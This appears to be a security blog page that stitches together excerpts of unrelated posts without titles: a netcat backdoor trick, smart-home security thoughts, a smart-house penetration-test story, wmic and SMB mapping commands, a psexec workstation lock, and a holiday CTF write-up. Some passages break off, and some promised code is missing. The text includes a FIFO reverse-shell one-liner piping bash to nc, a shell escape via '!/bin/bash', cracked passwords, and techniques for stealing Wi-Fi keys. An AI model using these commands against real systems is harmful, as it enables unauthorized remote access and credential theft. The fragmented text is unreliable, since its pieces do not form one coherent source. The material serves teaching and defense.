The personal blog of Chris Dale – @chrisadale

Netcat backdoor without -e (execute option)

Netcat is installed by default on a lot of Linux systems, however we are seeing more and more Netcat’s are compiled without the -e option. The -e options allows us to execute and serve an executable over the connecting socket. It is incredibly handy feature, both for controlling an executable over a network connection, or for creating simple backdoors. Thus as a security measure, Netcat is sometimes compiled without the -e option. In fact, if you want to compile Netcat with the -e option, you need to compile it with the option GAPING_SECURITY_HOLE.

While the -e option can be a concern from a security point of view, it is often trivially bypassed.

Below are examples that servers shells without the execute option. In the examples, a special Linux pipe type of file is used. This is a FIFO type of file structure, what goes first in, goes first out. Quite handy for pushing data in orderly fashion.

1

2

mknodppipe

/bin/bash0<pipe|nc TargetIP Port

I don’t care what you just showed me, I dont have Netcat!

Bash can do arbitrary TCP and UDP connections to wherever you want, so a Netcat similar reverse shell would be:

There’s a very healthy debate going in Norway right now regarding Smart Home security. Internet of Things security is poor, as proved multiple times before by researchers, malware and even worms. Are our devices, and private information safe, just because we got a WPA2-PSK enable WIFI network, and strict firewall rules? In this blog post I’d like to discuss some things that should also concern us when it comes to Smart House security. What are some other ways to break into a smart-house outer defenses?

WPS could be enabled. WIFI Protected Setup (WPS) is by default activated in many devices, and it adds to the attack surface. In fact, for many years WPS has been considered the “go-to” way to most easily break into wireless networks. Sure enough, there are protection mechanisms for WPS as well, but since we’re not living in a perfect world, where every device is updated to the latest and greatest model, this still ranges as a valid attack method today.

What about pre-compromised computeres on the internal network? Today we see botnets with millions, if not 10’s of millions of computers. If any of these infected computers are on the internal LAN of a smart-house, the bad guys is already on the inside. With computer access being sold across the Dark Net, shopping for bots that are inside smart-houses might become a big thing in the future. Think about it, IoT is known to be immensely insecure, thus by gaining access to bots already on the LAN, bad guys can much easier extend their reach into IoT devices as well. Another thing is metamorphic malware. Malware which will change its functionality, perhaps based on what type of network it is on. It might ask itself, am I on a LAN with Z-Wave devices? Then I’ll phone back to C2, pull down modules, and compromise those devices as well.

Most of us has already heard about the evil-maid attack, where perhaps the company cleaning lady is getting bribed (or perhaps forced depending on the country of operation) to plug in a USB for a third party. We’re talking about smart-homes here, so someone bribing someone into plugging a USB into your devices is probably unlikely, but the threat is still there. What about family, friends, friends of friends, basically anyone who has ever been on your wireless, and knows your wireless password? Do you trust them all? The sad truth when it comes to a lot of crime, especially against kids, is that the attacks have actually been done by someone close to the family… Think about it.

The cheap commodity that our ISP’s sell or rent to us is also not perfect. We’ve seen before how weak PRNG functions has allowed WPA passwords to be disclosed, just by knowing the MAC address of the device, or in some cases the serial number (which could be brute forced). It is not unlikely that our edge devices contain vulnerabilities, and we should plan for these devices to fail, and still be somewhat secure.

Every month or so, a major leak hits the mainstream media; credentials have been lost. Your passwords, or any of your families passwords, could be lost tomorrow, and if the passwords are synchronized to an external VPN to your house, or perhaps to log onto an application on your smart phone, this could also compromise assets in your smart-house. An example, if I lose my Nissan Leaf password to someone else, could not they control several functions of my car, remotely? I’d expect it to be the same with all our gadgets, locks, cameras and what not.

Our smart-house gadgets also have another attack surface, one which I unfortunately haven’t had a whole lot of time to address yet, but many of them are also communicating on other frequency bands than 802.11a/b/g/n/ac. They could in-fact speak e.g. the Z-Wave proprietary protocol over 900Mhz, and with the right equipment, such as an SDR, these protocols can also have vulnerabilities. In-fact Z-Wave devices have been hacked on several occasions, and adding to that, it is a proprietary protocols which means not a lot of transparency when it comes to security. The latest Z-Wave generations do however come with built-in encryption, using strong encryption protocols and signing protocols. However, this does not mean they are secure. It is still very possible that we could see a vulnerability within the devices themselves, perhaps opening up attacks which could open your front-door, not touching your WIFI, just simply interacting with the devices on other protocols.

And finally, the WPA pre-shared key is in many cases not randomized, so dictionary attacks will be a perfectly valid solution for many peoples homes. The trends I’ve seen is that people and business select predictable passwords, e.g. for a homeowner I would expect to see:

Language specific words, e.g. Words from Norwegian language

Numbers from 0000 to 9999, likely 1980 to 2030 at the end of a word.

Street names

Phone numbers

Last names

People will still be people, and they have continued to pick bad passwords throughout the years of IT so far. Likely to stop anytime soon? Unfortunately it doesn’t seem like it. Check out my post on Passwords Managers if you want to make your life much easier: Passwords Managers – Why aren’t everyone using them already?

I am not trying to do any fear-mongering or spreading of FUD here. I just want us to be realistic, and especially not have anyone think that “I got an un-hackable house”. That is non-sense and you should know about the risks you are running, and hopefully you will decide on what risk level you find is acceptable. Personally, I’d like to have a “semi-smart” house. My TV does not have to be smart, in fact I am trying to find one which isn’t ;), and I’d really like to have my front-door and alarm systems de-coupled, just for defense in depth. I am not telling you to not buy gadgets for your home, just don’t be surprised if you see them hacked, and when you do, have a plan to deal with it. 🙂

Because media wont be able to cover all the technical details, and also I don’t want to engage in responding to comments on different news sites, I thought I’d rather share my methodology here. Hopefully you’ll take the time to read this story on how I tried to hack this smart house, and perhaps pick up on some great tips on securing your own. I also have to take some measures in the text below in order to protect the house-owner’s information. We have agreed that I must not be sharing any sensitive information.

Now, accessing this house from the Internett proved to be hard. I did several attempts in breaking into the solutions hosted at the IP address of the target house, however to my despair, none of the attacks gave me any good foothold into the network. I found one particular vulnerability I could use for potential remote code execution, but due to scope limitations I could not proceed here, and I notified the house-owner of the problems. I even tried to send phishing emails to the house-owner in order to compromise his credentials for logging in over VPN, but no to avail, this guy was tight! Well done! It turned out that the house-owner was quite above average when it came to being concerned and pro-active with security.

Now to the next step of the hack. Can I get access to the houses’ IoT if I am in the vicinity of the house? I traveled to Stavanger a long with a film team from NRK to do one of the most exciting “live demos” I’ve ever done. Those that know me know that I rarely put down a challenge to do some live hacking, and in this case I thought of what a could project this would be, to have the privilege to try hack the smartest house of all the smart houses. Cool! Arriving on-site, I am sitting in a white van on the parking lot, starting up my attempts to break into the house. My gut-feeling was that I had to be able to break into the LAN if I were to be able to demonstrate some interesting demos of what could be technically possible from an attackers perspective. I did bring an SDR just in case I wanted to try direct attacks against the different devices, but my gut feeling guided me into just attacking the LAN for maximum effect.

Attacking a wireless LAN is most typically done by sniffing for packets, then sending a de-auth request to one of the communicating parties, spoofing to be the Access Point. This will normally cause the network device, e.g. a mobile phone, to automatically reconnect, and thus authenticate, allowing attackers to capture the precious 4-way handshake. This handshake could be cracked, but how quickly?? This all depends on the strength of the password, and how much time and resources the attacker have available. I of course fired up Hashcat and let my GPU try solve the problem, but this would be down to sheer luck, and the strength of my wordlists. What if the house-owner had a really strong password? Then the entire day, the trip to Stavanger, the production of the show for the consumers, it would all be to waste. So I decided to use a HID attack on one of the computers of the home-owner. No password was given to me here, what so ever, but I simply plugged in a USB device for 10 seconds in one of the devices, and I simply stole the wireless key that way. Getting access to someones Wireless LAN should not be your last resort of defense, instead it should just be one of the barriers you expect to fail, and thus having other barriers of protection once they gain access. Could you protect your Wireless LAN against password cracking? Absolutely! And that’s also kind of the point of this TV show 😉

Once onto the LAN I was immediately baffled about the huge number of devices. As an attacker, I consider this as a good thing as it adds to the attack surface. Where do I start though? I fired up Nmap a long side with Eyewitness and had them scan the network, at the same time screenshotting all HTTP, HTTPS, VNC and RDP services. This allowed me to more quickly navigate the network. I found a conference solution that allowed me to reconfigure it. Through some of the reconfiguration menus I made the solution bring up already set passwords, and I made the solution reveal those passwords to me, adding to my dossier of important information for later. Additionally the lawn mower had a similar vulnerability which allowed me to view its clear-text password. This however is no good, as I wanted more, if not full access to the home, so I had to search more.

Eventually I stumped upon a HomeSeer application. I’ve already studied some of the technology present in smart-homes today, and I knew HomeSeer was one of the controllers which could be used to administer the house. It seemed like a rather complex application, one which I’d never worked with before. Nevertheless, I thought that this is the place I need to be, so I started to try penetrate it’s defenses. After a while I found a zero-day, authentication bypass, vulnerability in the HomeSeer controller, allowing me to remotely administer it with a Linux Shell. A side note that I didn’t think was necessary to mention, but apparently is, a zero-day vulnerability is a vulnerability that has no patch by the vendors, and in this case the vulnerability was not disclosed anywhere for me to find the information. This vulnerability was discovered by me, not by Googling for vulnerabilities. We’re currently undergoing responsible disclosure with the HomeSeer folks.

Jackpot, I thought, but as I started navigating the HomeSeer device, learning about it and how to control different devices, however it seemed that it was only able to see a selected number of devices, not as many as I’d previously seen in my Nmap scan. I wonder why, I thought to myself. Maybe I am not using the product correctly, or maybe there’s a menu option somewhere to display all the things. I didn’t know. Keep in mind, we’re running on a very short deadline here. Not a lot of time to make up for some good demos and hacks, so I really had to be efficient.

I eventually decided to go ask the home-owner to see how he reacted to me getting access to the controller, and getting my little Linux shell working. He was quite surprised, but not long after he goes “Aha! You’re at my test HomeSeer. Not my production HomeSeer!”. Whut? There’s another controller? Yes! Apparently there was two, but where was the other one? I reviewed my Nmap’s and Eyewitness scans, but to no avail did it show any similar boxes than the one I had just broken into. Why? I decided to ask again… The reason was simple, the other controller was .htaccess protected. It had a web-server based password before even getting into the controller application, so no wonder I didn’t see the application anywhere. I just thought this .htaccess prompt was “just another IoT”. Now, this is obviously the place I need to break into, so I start password guessing with multiple threads running simultaneously. Some threads are running password guessing using dictionary lists, and some were simply word mangling the existing passwords I had already stolen, i.e. going through numbers 0000-9999 at the end of each clear-text password, doing 1337-speak replacement and so on. Nothing worked!

Time is really becoming an issue by this point. We’re bound to leave soon, and this is the place where I wanted to demo, so after a chat, we decided to share this password to allow for all the cool demos to take place. In hindsight, this was unnecessary, and frankly I’m somewhat surprised to see all the haters saying “fake news” because a password was shared. Does this void the risk for all other smart-house owners? Have I not already broken into several of the devices, and proved that the brain itself, the controller, could also be broken into using 0-day exploits? Anyways, as I said, in hindsight it was unnecessary to share this password. I should’ve instead done a simple and clean ARP Cache Poisoning attack, and then telling the home-owner to authenticate the product, thus opening up for sniffing possibilities of the username and password. Other vectors could involve hacking more devices, finding a device which shares the password of the .htaccess, or finding a vulnerability or other application on the web-server, which could allow me to read or modify the .htaccess.

The previous password was the only password that was shared with me in the engagement, and honestly, the reason for doing so is to prove the consequences of someone gaining access to your smart-home devices. Why my fellow geeks and nerds are disliking this approach, I have no idea, but I challenge you to open up your perspectives and see the threat of our consumers. Not the individual threat of a hard-core smart-house geek with an extra interest for security. No, try to see how this could affect others. Our friends, family, neighbours, those which are getting smart-house features as “part of the package”, and have no idea how to run or operate these things.

That’s my 2-cents. It was a fun live-demo, that’s all. Not showing off the length of your e-peen.

This handy little command reminds me by audio when my computer is back online. I just had a 30 minute Internett outage, and it was nice to get right back to my seat when my computer started bleeping out alarms.

This leaves no good marks in the registry for us to audit, and I think the best way to detect this is to query machines where you know you have Volume Shadow Copies enabled, to see if they have any backups stored. To query for this information we can use wmic, another built in command which supports reaching network attached machines:

wmic /node:@ip.txt shadowcopy list brief

This little command will run off every IP address in the file ip.txt and return the respective backup volumes.

With all the ransomware hitting everyone, everywhere, I decided to share my scripts on how I map the attack surface of internal threats, and subsequently ransomware / cryptolocker. It is not fully automated yet, but hopefully sharing this will give people the right ideas, and perhaps some might even automate it. For now, this only works for file sharing using Windows default file sharing. PS: I realize this is far from perfect, and probably should all be doable with a simple nmap script, however this is what I use in conjunction with some other work.

A typical scenario for using these scripts and commands are for users that should not have access to a bunch of files on your file-servers. Close down those shares and permissions before the inevitable happens, and the files are stolen and encrypted.

We start off with scanning every host who has port 445 open (Microsoft SMB):

nmap -p 445 -T4 -oG 445.txt 192.168.1.1-254

Replace the IP address range with whatever suits your network. Next, we grep out the hosts which are relevant for checking which file shares they expose.

cat tmp/445.txt | grep “445/open” | cut -d ” ” -f 2 > hosts.txt

With the relevant hosts in a separate file, lets use enum4linux to enumerate all the potential shares on these servers. Remember to add the username and password of the account you want to use for the mapping.

This produces a file shares.txt containing potential shares we want to investigate and close down. Now we’ll edit the following script and put it in a bat file, and then let it work. Remember to add the necessary credentials and domain information.

You might need to check file hashes across multiple directories and across multiple algorithms, e.g. verifying all files hashsums against both MD5 and SHA1. This is an example of how to accomplish such task using Powershell.

Sometimes you have to throw someone off a terminal, but at the same time preserve the evidence on the terminal. For example if someone is using a terminal to hack something, and you need to secure the running terminals to capture the commands that has been run. It is quite simple to accomplish this, as the process below demonstrates.

First, change the target account’s AD password. This will prevent them from logging back in

Next, target the terminal with psexec and use rundll32 to execute user32.dll with the LockWorkStation function. This will trigger the account lock. The following command can be tweaked for your purposes: PsExec.exe \\<ip> -d -u <domain>\Administrator -i cmd.exe /c “C:\windows\system32\rundll32.exe user32.dll, LockWorkStation”

Now it’s time to sieze the terminal. Make sure you are standing by ready for this, as the victim could be distressed and shut down his workstation, essentially removing evidence.

This concept can be expanded further, as Darryl Griffiths pointed out to me on LinkedIn. Coupling the initial idea of locking the workstation with AD Group Policies to modify the Power settings on the target workstation, one can even prevent the machine from shutting down, e.g. when the power button is clicked or the laptop lid is turned off. The Power Management in Windows normally allows this type of overriding the functionality of the power button, and more can be read about this concept in the following TechNet article: https://blogs.technet.microsoft.com/askds/2008/03/21/managing-power-with-group-policy-part-3-of-3/

We can see that the output represents ASCII art character G. In total, the answer produced the string “BUG BOUNTY”.

2) What is inside the ZIP file distributed by Santa’s team?

The Instagram account of Santa had an image linking to a zip file. Simply download the ZIP file from the target webserver and inspect the file. The password was simply the string from the #1.

3) What username and password are embedded in the APK file?

Simply look through the resources files and configuration and you will see the credentials guest / busyreindeer78.

4) What is the name of the audible component (audio file) in the SantaGram APK file?

The audio file was in the resources\raw folder. It’s name was discombobulatedaudio1.

5) What is the password for the “cranpi” account on the Cranberry Pi system?

Procedure:

Download the Cranberry PI image

Use fdisk to review the partitions

Mount the partitions

Crack the passwords in the /etc/shadow file using JTR or Hashcat with the Rockyou dictionary file.

This cracked into two different passwords:

pi:thenorthpole07

cranpi:yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

Door 1

We are presented with a shell and something to look for. Using the “find .” command.

This reveals several hidden files, one which is of our interest: elf@3030ec3eb5a9:~/.doormat/. / /\/\\/Don’t Look Here!/You are persistent, aren’t you?/’

From here we just had to cat the correct file, keeping in mind escaping the special characters such as “.!’\ “.

Door 2

Basically I just read the manual and defeated the wumpus by remembering the cave layout and the different options.

Door 3

The shell we’re in is less or more, and it supports command execution. By entering the command !/bin/bash , this gives us a proper shell, which we can now use to see all the files involved. One of the files was the source code to run the train, which also contained the password.

Door 4

We are in a shell with a pcap in the current directory. We don’t have read access to pcap, but sudo -l reveals that we can access it through the itchy user like this: sudo -u itchy strings out.pcap. This yields half of a flag, but not the rest. The rest of the flag is hidden in a transmission of an ELF file. Using strings -e l out.pcap revealed the second half of the flag.

Door 5

A dialog from the movie Wargames, between the main actor and the Wooper computer, was displayed, missing out the information from the actor. Simply typing what the actor would type in to the Wooper computer yielded the flag.

Door 6

With the 7 audio files in place, they were put into order, based on their track numbers. The speed of the audio was then sped up to about 700-800%, and the audio could then be understood. Removing the background noise also helped.

7) For each of the six items, which vulnerabilities did you discover and exploit?

The Mobile Analytics Server (via credentialed login access)

Simply log on to the solution using the guest / busyreindeer78 credentials, then click the Mp3 menu item.

The Dungeon Game

I googled walkthroughs for this game, and figured out a cheat command called the GDT, presumably named after the “Global Descriptor Table”. From here I could access all rooms, resources and what not. I identified the dialog and rooms necessary to get the password through the GDT.

The Debug Server

Activated the debug flag in the APK file, re-build and installed it onto my device. I then observed through Proxy the traffic going to the debug server. This traffic was then modified using the Burp Repeater. The JSON response revealed an interesting parameter called verbose, and this was set to false. Setting the verbose flag to true in the request makes the response suddenly give away a lot more information, among other things, a files array containing the mp3 we want.

The Banner Ad Server

The MeteorMiner Greasemonkey/Tampermoneky script by Tim Medin was used to browse what the Meteor application is exposing. The Home Quotes object had 5 records in them, while only 4 was shown as quotes on the front page. 1 quote was different and had an audio attribute on it. The HomeQuotes object was printed with the browsers console, and one could easily see the mp3 file hidden inside the object:

The Uncaught Exception Handler Server

The calls to the exceeption server was intercepted with burpsuite, revealing a JSON post request to exception.php. The request contained WriteCrashDump, and this was changed to ReadCrashDump to see what happened. From here, a simple tutorial of error messages gave us clues for the request we needed to create to make the script parse it properly. The request ended up like this, but it did not work for parsing other php files, such as index or exception:

This gave us an base64 result of the source code of exception.php, where the mp3 filepath was hidden in a php comment.

The Mobile Analytics Server (post authentication)

Running nmap with default scripts reveals a git repository hosted at this site. Downloading and repairing the repository lets us browse the source code of the page and also the database SQL build script.

Logging onto the analytics server as administrator with a password previously leaked, we could access more functionality. Specifically we could query for information, view and edit previously made queries. By first creating a simple query and specifying to save it, we could give the edit script the appropriate GUID to edit it. The log then tells us a hint, that it is checking for id, name, description, and finally, a query. The form only allows us to input id, name and description, but the script also parses the query parameter. Setting the query parameter to select * from audio allows us to see two audio files in this database, one which we already have. Using the query select to_base64(mp3) from audio where username = ‘administrator’ allowed us to copy the base64 encoded value of the mp3 data into a txt file. This was simply decoded using the command line: base64 –decode < mp3.txt > mp3.mp3

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)